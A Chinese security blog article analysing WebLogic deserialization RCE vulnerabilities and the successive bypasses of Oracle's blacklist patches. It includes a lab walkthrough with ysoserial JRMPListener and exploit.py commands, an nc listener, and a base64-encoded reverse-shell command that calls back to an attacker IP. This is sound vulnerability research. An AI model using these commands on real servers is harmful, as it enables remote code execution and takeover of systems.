缝缝补补的Weblogic——绕过的艺术

千里目实验室 漏洞 2018年8月3日发布

导语:Weblogic漏洞有很多,但是五年之前的大多数漏洞只是小打小闹,对服务器并不能造成巨大的影响。而本篇文章将介绍一些Weblogic的高危漏洞。

0x01 Weblogic简介

Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于JAVAEE架构的中间件,Weblogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。Weblogic是商业市场上主要的Java(JAVA EE)应用服务器软件之一,是世界上第一个成功商业化的JAVA EE应用服务器,具有可扩展性,快速开发,灵活,可靠性等优势。

在功能性上,weblogic是JAVA EE的应用服务器,包括EJB ,JSP,servlet,JMS等等,比较全能。是商业软件里排名第一的容器(JSP、servlet、EJB等),并提供其他例如JAVA编辑等工具,是一个综合的开发及运行环境。

在扩展性上,Weblogic Server凭借其出色的群集技术,拥有处理关键Web应用系统问题所需的性能、可扩展性和高可用性。Weblogic Server既实现了网页群集,也实现了EJB组件群集,而且不需要任何专门的硬件或操作系统支持。网页群集可以实现透明的复制、负载平衡以及表示内容容错。无论是网页群集,还是组件群集,对于电子商务解决方案所要求的可扩展性和可用性都是至关重要的。

目前Weblogic在全球的使用量也占居前列,据统计,在全球范围内对互联网开放Weblogic服务的资产数量多达35,382台,美国和中国的Weblogic的使用量接近Weblogic总使用量的70%,其中归属中国地区的资产数量为10,562台。

图片1.png

由此看来,如果爆发一个Weblogic高危漏洞,那将会给中国的大量用户带来巨大的灾难。

0x02高危漏洞介绍

Weblogic漏洞有很多,但是五年之前的大多数漏洞只是小打小闹,对服务器并不能造成巨大的影响。然而,自从2015年11月6日,FoxGlove Security安全团队的@breenmachine在博客中介绍了如何利用Java反序列化和Apache Commons Collections这一基础类库来攻击最新版的Weblogic、WebSphere、JBoss等主流的java server,并且都可以实现远程代码执行,Weblogic变得不再安全。道高一尺魔高一丈,伴随着Weblogic补丁的不断发布,各种的绕过方法也是不断地更新。下面介绍一下近五年让Oracle头痛不已的Weblogic反序列化漏洞。Weblogic近五年的高危漏洞主要涉及到两个种类。第一种是利用xml decoded反序列化进行远程代码执行的漏洞,例如:CVE-2017-10271,CVE-2017-3506。另一种是利用java反序列化进行远程代码执行的漏洞,例如:CVE-2015-4852,CVE-2016-0638,CVE-2016-3510,CVE-2017-3248,CVE-2018-2628,CVE-2018-2894。

xml decoded反序列化RCE漏洞

1.CVE-2017-3506

此漏洞主要是由于wls组件使用了webservice来处理soap请求,在weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法中,当localHeader1和localHeader2都不为null时,将会把"<work:WorkContext>"所包含的数据传入weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld方法,在此方法中,对WorkContextXmlInputAdapter类进行了实例化,并调用WorkContextXmlInputAdapter类的构造方法,通过XMLDecoder()进行反序列化操作。

weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest代码如下图所示

图片2.png

weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld代码如下图所示

图片3.png

weblogic.wsee.workarea.WorkContextXmlInputAdapter代码如下图所示 

图片4.png

CVE-2017-3506 POC

在/wls-wsat/CoordinatorPortType,/wls-wsat/RegistrationPortTypeRPC, /wls-wsat/ParticipantPortType,/wls-wsat/RegistrationRequesterPortType,
/wls-wsat/CoordinatorPortType11,/wls-wsat/RegistrationPortTypeRPC11,
/wls-wsat/ParticipantPortType11,/wls-wsat/RegistrationRequesterPortType11

8个路径中任意选择一个路径,将content-type改成text/xml类型,传入下面的payload,即可利用漏洞

1.png

在上面的POC中,闭合的<work:WorkContext>中可以构造任何我们想要执行的命令。在先后引用java.beans.XMLDecoder,java.lang.ProcessBuilder,java.lang.String之后,便可以在index中设定参数序号,并在string标签中传入想要远程执行的命令。

2.CVE-2017-10271漏洞

CVE-2017-10271是基于CVE-2017-3506漏洞原理基础上,对CVE-2017-3506修复补丁的一次绕过。下图是CVE-2017-3506修复补丁的部分代码

图片5.png

图中红框内的代码是限制CVE-2017-3506漏洞利用的黑名单,这次补丁修补得非常的简陋,仅仅是根据POC中的object标签进行了修补,所以很快就出现了CVE-2017-10271漏洞。CVE-2017-10271的POC与CVE-2017-3506的POC很相似,只是将object标签换成了array或void等标签,即可触发远程代码执行漏洞。因此,在CVE-2017-10271漏洞爆发之后,Oracle官方也进行了补丁的完善,这一次的补丁考虑得比较全面,在黑名单中又添加了new,method,void,array等关键字进行漏洞修补,成功防御了CVE-2017-10271漏洞。

java反序列化RCE漏洞

1.CVE-2015-4852漏洞

此漏洞主要是由于apache的标准库中Apache Commons Collections 基础库的TransformedMap类中。当TransformedMap内的key或者value发生变化时,就会触发相应的Transformer的transform()方法。同时也可以利用Transformer数组来构造ChainedTransformer。从而触发内部的InvokerTransformer类,在这个类中可以利用java的反射机制来获得Runtime.getRuntime().exec方法,利用这个方法来执行任意命令。通过AnnotationInvocationHandler类来重写readObject()方法,并且通过内部的memberValue.setValue()方法构造恶意的TransformedMap对象,改变TransformedMap中的key或value,通过反序列化,执行构造的命令。这里推荐大家了解一下ysoserial这个工具,

工具中集成了各种java反序列化漏洞利用的payload。下图是ysoserial工具中有关于java反射机制的代码。

图片6.png

图片中即是利用Transformer数组触发InvokerTransformer类,利用java反射机制获得Runtime.getRuntime().exec方法,从而达到执行任意命令的目的。

CVE-2015-4852 POC(序列化)

2.png

序列化中的cmd字段代表着想要远程执行的命令,使用python中binascii.b2a_hex函数转换成序列化插在相应的位置上。在这里再为大家推荐一款分析java序列化结构的工具——SerializationDumper,下图是通过SerializationDumper转换后的序列化的结构

图片7.png

图中红框内是序列化中插入远程执行命令的序列化,同时对应着序列化解码之后的命令。通过这个分析工具,我们可以准确的找到序列化远程命令插入的位置,以及序列化的结构和引用的函数,让分析java反序列化漏洞的payload的工作变得更加便利。

2.CVE-2016-0638漏洞

此漏洞是基于CVE-2015-4852漏洞进行黑名单的绕过,CVE-2015-4852补丁主要应用在三个位置上

weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class

所以如果能找到可以在其readObject中创建自己的InputStream的对象,并且不是使用黑名单中的ServerChannelInputStream和MsgAbbrevInputStream的readExternal进行的反序列化,最后调用readObject()方法进行反序列化的数据的读取,这样就可以执行含有恶意代码的序列化代码。CVE-2016-0638漏洞就是依据这个思路找到了weblogic.jms.common.StreamMessageImpl类,其中的readExternal()方法也符合攻击的需求。攻击者可以在其中构造一个恶意的ObjectInputStream来实现payload内部的InputStream创建,调用readObject()方法,实现攻击。

CVE-2016-0638 POC(序列化)

3.png

此漏洞利用方式也应用到了后续要介绍的CVE-2018-2893漏洞中。

3.CVE-2016-3510漏洞

此漏洞是与CVE-2016-0638漏洞利用方式相似,只是选择了weblogic.corba.utils.MarshalledObject进行绕过,绕过之前的CVE-2015-4852和CVE-2016-0638漏洞的修复补丁。

CVE-2016-3510 POC(序列化)

4.png

CVE-2016-3510的POC中插入的想要执行的命令的形式很特殊,必须要插入类似于“bash -c {echo,bmMgLW52IDE5Mi4xNjguMTYuMSA0MDQw}|{base64,-d}|{bash,-i}”这种形式的命令才可以达到攻击效果,这是因为使用了“java.lang.Runtime.exec(String)”语句而导致的一些限制。首先是不支持shell操作符,如输出重定向以及管道。其次是传递给payload命令的参数中不能包含空格。

4.CVE-2017-3248漏洞

CVE-2017-3248漏洞爆发之前,Apache Commons Collections 基础的漏洞已经进行修补,所以CVE-2017-3248漏洞利用方法与之前三个漏洞不同,这次主要是利用了JRMP java远程方法协议。利用java.rmi.registry.Registry,序列化RemoteObjectInvocationHandler,并使用UnicastRef和远端建立tcp连接,获取RMI registry,最终将加载的内容利用readObject()进行解析,导致之前序列化的恶意代码执行。下图是ysoserial中相应的payload。

图片8.png

CVE-2017-3248 POC(序列化)

5.png

下图是经过SerializationDumper工具转换后的payload结构

图片9.png

图中红框内标注的则是负责连接监听端口的payload,这个payload的作用,我会在下面的CVE-2018-2628漏洞中进行操作和解释的。

5.CVE-2018-2628漏洞

CVE-2018-2628漏洞与CVE-2017-3248漏洞利用方法类似,仅仅更换了使用的rmi接口,用java.rmi.activation.Activator替换了CVE-2017-3248所使用的java.rmi.registry.Registry,从而绕过resolveProxyClass的判断,成功绕过了CVE-2017-3248漏洞的修复补丁。其他攻击流程相同。

CVE-2018-2628 POC(反序列化)

6.png 

下图是经过SerializationDumper工具转换后的payload结构

图片10.png

图中红框内标注的则是负责连接监听端口的payload。下面介绍一下利用CVE-2018-2628漏洞的方法(同样也适用于CVE-2017-3248)。

环境:

· 192.168.16.1(nc开启监听端口,为了验证远程代码攻击是否成功,同时也是进行CVE-2018-2628漏洞攻击的攻击机)

· 192.168.16.2(开启存在CVE-2018-2628漏洞的Weblogic服务的服务器,被攻击的目标)

· 192.168.16.3(利用JRMPListener开启监听端口)

服务器192.168.16.2(Weblogic-10.3.6.0) 开启Weblogic服务

图片11.png

192.168.16.3中执行

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099
CommonsCollections5 'bash -c

{echo,bmMgLW52IDE5Mi4xNjguMTYuMSA0MDQw}|{base64,-d}|{bash,-i}' 指令通过ysoserial工具生成payload(注意,这里的指令需要是bash -c {echo,BASE64}|{base64,-d}|{bash,-i}格式,这里贴出一个生成这种格式的在线网站:

http://jackson.thuraisamy.me/runtime-exec-payloads.html)。

图片12.png

192.168.16.1中执行

(1) nc -nlvp 4040开启服务进行监听4040端口

(2)python exploit.py 192.168.16.2 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.16.3 1099 JRMPClient2指令执行payload。

图片13.png

至此,整套攻击流程就已经执行完毕。剩下的只需要等待着服务器连接到攻击机,漏洞就利用成功了。

6.CVE-2017-2893漏洞

CVE-2018-2893漏洞,同样是对resolveProxyClass函数进行绕过,导致攻击者可以利用UnicastRef和远端建立tcp连接,获取RMI registry,再将加载的内容利用readObject解析,从而造成反序列化远程代码执行。CVE-2018-2893漏洞绕过方式是利用StreamMessageImpl对ysoserial工具中的JRMPClient生成的 payloadObject进行封装,由于StreamMessageImpl在进行反序列化时并不会被resolveProxyClass检测,导致绕过的产生,最后成功的进行了反序列化攻击。

下面的两张图片分别是streamMessageImpl的封装和JRMPClient。

CVE-2018-2893 POC(序列化)

7.png

CVE-2018-2893的POC相当于CVE-2016-0638和CVE-2017-3248的结合体,将CVE-2016-0638的StreamMessageImpl类封装CVE-2017-3248的JRMPClient,从而形成了CVE-2018-2893的POC。

0x03展望

以上主要介绍了近五年爆发的Weblogic反序列化的高危漏洞,一次又一次的修补,一次又一次的绕过,漏洞挖掘者和漏洞防御者之间的博弈从未停止过,而且这种博弈在今后的生活中也将会愈演愈烈。

目前Weblogic的修补措施还只是将网上流传的POC中比较危险的函数写入黑名单加以控制,但是这些被限制的函数会有许许多多的替代函数,而且每一个替代函数都会轻轻松松地绕过黑名单,造成新的Weblogic反序列化漏洞的形成。如果Weblogic仅仅局限于修补发布的POC,那么补丁的绕过很有可能会一直进行下去。修补与绕过,下一个漏洞才是最精彩的!

作为漏洞分析研究员,我们的职责就是深度剖析漏洞原理,并且思考是否有其他的利用方式。这是一场白帽子与黑帽子之间的时间赛跑,我们要抢夺先机,提前发现漏洞利用的手段,防止其他黑帽子通过网络攻击干扰我们正常的生活。

Weblogic漏洞在修复与绕过的交相呼应下变得精彩,而又富有艺术。网络安全在防御与攻击的博弈中也变得迷人,而又富有魅力。同时,也正是因为这种博弈,我们的网络环境才会变得更加安全,更加坚不可摧。

如若转载,请注明原文地址: http://www.4hou.com/vulnerable/12874.html
点赞 12
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论